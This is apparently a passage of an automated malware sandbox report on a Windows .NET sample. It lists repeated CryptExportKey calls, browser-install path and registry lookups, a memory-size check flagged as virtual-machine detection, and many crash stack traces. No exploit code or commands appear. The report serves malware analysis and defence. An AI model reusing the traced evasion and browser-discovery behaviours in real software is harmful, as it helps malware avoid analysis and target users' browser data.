CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059e5d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059e5d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0059e490 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0088e0f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0088e0f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0088e0f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0088e0f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0088e170 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0088e170 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0088e070 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0088e070 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0088e070 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0088e070 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0088e070 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0088e0f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0088e0f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0088e2f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0088ea30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 26, 2023, 7:43 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0088ea30 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Tries to locate where the browsers are installed (3 events)

file	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
file	C:\Program Files\Mozilla Firefox\firefox.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 26, 2023, 7:42 a.m.		1	1	0

One or more processes crashed (42 events)

Time & API	Arguments	Status
__exception__ June 26, 2023, 7:42 a.m.	stacktrace: 0x2059841 0x2059643 0x2057710 0x2056f0b 0x2053c6b 0x20535d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72842652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7285264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72852e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72907610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72991dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72991e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72991f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7299416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 c8 8b 45 c8 89 45 c4 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x2059978 registers.esp: 35909540 registers.edi: 35909592 registers.eax: 0 registers.ebp: 35909604 registers.edx: 5324960 registers.ebx: 35911044 registers.esi: 42313240 registers.ecx: 0	1
__exception__ June 26, 2023, 7:42 a.m.	stacktrace: 0xa8b4b30 0xa8b0aa4 0xa8b033a 0xa8b020d 0x205e9f3 0x205db89 0x205d9ff 0x2057855 0x2056f0b 0x2053c6b 0x20535d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72842652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7285264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72852e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72907610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72991dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72991e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72991f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7299416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa8b4b73 registers.esp: 35908068 registers.edi: 35908412 registers.eax: 0 registers.ebp: 35908076 registers.edx: 0 registers.ebx: 35911044 registers.esi: 42764616 registers.ecx: 43891092	1
__exception__ June 26, 2023, 7:42 a.m.	stacktrace: 0xa8b4b30 0xa8b0aa4 0xa8b033a 0xa8b0225 0x205e9f3 0x205db89 0x205d9ff 0x2057855 0x2056f0b 0x2053c6b 0x20535d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72842652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7285264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72852e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72907610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72991dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72991e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72991f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7299416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa8b4b73 registers.esp: 35908068 registers.edi: 35908412 registers.eax: 0 registers.ebp: 35908076 registers.edx: 0 registers.ebx: 35911044 registers.esi: 42764616 registers.ecx: 45195800	1
__exception__ June 26, 2023, 7:42 a.m.	stacktrace: 0xa8b4b30 0xa8b0aa4 0xa8b033a 0xa8b0225 0x205e9f3 0x205db89 0x205d9ff 0x2057855 0x2056f0b 0x2053c6b 0x20535d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72842652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7285264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72852e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72907610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72991dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72991e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72991f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7299416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa8b4b73 registers.esp: 35908068 registers.edi: 35908412 registers.eax: 0 registers.ebp: 35908076 registers.edx: 0 registers.ebx: 35911044 registers.esi: 42764616 registers.ecx: 42612536	1
__exception__ June 26, 2023, 7:42 a.m.	stacktrace: 0xa8b4b30 0xa8b563e 0xa8b4ef9 0xa8b020d 0x205ecdc 0x205db89 0x205d9ff 0x2057855 0x2056f0b 0x2053c6b 0x20535d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72842652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7285264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72852e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72907610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72991dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72991e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72991f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7299416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa8b4b73 registers.esp: 35908044 registers.edi: 35908436 registers.eax: 0 registers.ebp: 35908052 registers.edx: 0 registers.ebx: 35911044 registers.esi: 41902800 registers.ecx: 43921376	1
__exception__ June 26, 2023, 7:42 a.m.	stacktrace: 0xa8b4b30 0xa8b563e 0xa8b4ef9 0xa8b0225 0x205ecdc 0x205db89 0x205d9ff 0x2057855 0x2056f0b 0x2053c6b 0x20535d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72842652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7285264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72852e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72907610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72991dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72991e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72991f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7299416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa8b4b73 registers.esp: 35908044 registers.edi: 35908436 registers.eax: 0 registers.ebp: 35908052 registers.edx: 0 registers.ebx: 35911044 registers.esi: 41902800 registers.ecx: 45268128	1
__exception__ June 26, 2023, 7:42 a.m.	stacktrace: 0xa8b4b30 0xa8b563e 0xa8b4ef9 0xa8b0225 0x205ecdc 0x205db89 0x205d9ff 0x2057855 0x2056f0b 0x2053c6b 0x20535d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72842652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7285264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72852e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72907610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72991dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72991e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72991f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7299416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa8b4b73 registers.esp: 35908044 registers.edi: 35908436 registers.eax: 0 registers.ebp: 35908052 registers.edx: 0 registers.ebx: 35911044 registers.esi: 41902800 registers.ecx: 47060232	1
__exception__ June 26, 2023, 7:42 a.m.	stacktrace: 0xa8b4b30 0xa8b5f6a 0xa8b5911 0xa8b020d 0x205edf4 0x205db89 0x205d9ff 0x2057855 0x2056f0b 0x2053c6b 0x20535d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72842652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7285264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72852e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72907610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72991dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72991e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72991f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7299416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa8b4b73 registers.esp: 35908096 registers.edi: 35908436 registers.eax: 0 registers.ebp: 35908104 registers.edx: 0 registers.ebx: 35911044 registers.esi: 41902800 registers.ecx: 41916304	1
__exception__ June 26, 2023, 7:42 a.m.	stacktrace: 0xa8b4b30 0xa8b5f6a 0xa8b5911 0xa8b0225 0x205edf4 0x205db89 0x205d9ff 0x2057855 0x2056f0b 0x2053c6b 0x20535d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72842652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7285264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72852e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72907610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72991dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72991e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72991f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7299416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa8b4b73 registers.esp: 35908096 registers.edi: 35908436 registers.eax: 0 registers.ebp: 35908104 registers.edx: 0 registers.ebx: 35911044 registers.esi: 41900704 registers.ecx: 43137536	1
__exception__ June 26, 2023, 7:42 a.m.	stacktrace: 0xa8b4b30 0xa8b5f6a 0xa8b5911 0xa8b0225 0x205edf4 0x205db89 0x205d9ff 0x2057855 0x2056f0b 0x2053c6b 0x20535d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72842652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7285264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72852e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72907610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72991dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72991e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72991f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7299416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa8b4b73 registers.esp: 35908096 registers.edi: 35908436 registers.eax: 0 registers.ebp: 35908104 registers.edx: 0 registers.ebx: 35911044 registers.esi: 41900704 registers.ecx: 44531184	1
__exception__ June 26, 2023, 7:42 a.m.	stacktrace: 0xa8b4b30 0xa8b667c 0xa8b60d9 0xa8b020d 0x205eefa 0x205db89 0x205d9ff 0x2057855 0x2056f0b 0x2053c6b 0x20535d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72842652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7285264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72852e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72907610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72991dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72991e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72991f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7299416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa8b4b73 registers.esp: 35908128 registers.edi: 35908436 registers.eax: 0 registers.ebp: 35908136 registers.edx: 0 registers.ebx: 35911044 registers.esi: 41900704 registers.ecx: 45924968	1
__exception__ June 26, 2023, 7:42 a.m.	stacktrace: 0xa8b4b30 0xa8b667c 0xa8b60d9 0xa8b0225 0x205eefa 0x205db89 0x205d9ff 0x2057855 0x2056f0b 0x2053c6b 0x20535d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72842652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7285264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72852e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72907610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72991dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72991e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72991f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7299416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3 exception.instruction: mov eax, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xa8b4b73 registers.esp: 35908128 registers.edi: 35908436 registers.eax: 0 registers.ebp: 35908136 registers.edx: 0 registers.ebx: 35911044 registers.esi: 41900704 registers.ecx: 42624640	1
__exception__ June 26, 2023, 7:42 a.m.	stacktrace: 0xa8b4b30 0xa8b667c 0xa8b60d9 0xa8b0225 0x205eefa 0x205db89 0x205d9ff 0x2057855 0x2056f0b 0x2053c6b 0x20535d9 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72842652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7285264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72852e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72907610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72991dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72991e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72991f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7299416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73ebf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73f37f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73f34de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 